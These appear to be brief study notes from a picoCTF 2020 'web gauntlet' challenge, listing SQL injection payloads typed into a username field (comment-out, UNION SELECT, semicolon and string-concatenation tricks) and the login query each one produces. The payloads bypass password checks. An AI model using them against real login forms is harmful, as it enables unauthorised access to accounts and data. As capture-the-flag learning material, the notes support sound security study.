SQL Injection

Username: admin' --

Password: 123

Actual Query: SELECT * FROM users WHERE username='admin' -- AND password='123'

Username: admin' union select * from users where '1

Password: 123

Actual Query: SELECT * FROM users WHERE username='admin' union select * from users where '1' AND password='123'

Username: admin';

Password: 123

Actual Query: SELECT * FROM users WHERE username='admin';' AND password='123'

Username: ad'||'min';

Password: 123

Actual Query: SELECT * FROM users WHERE username='ad'||'min';' AND password='123'

https://github.com/onealmond/hacking-lab/blob/master/picoctf-2020/web-gauntlet/writeup.md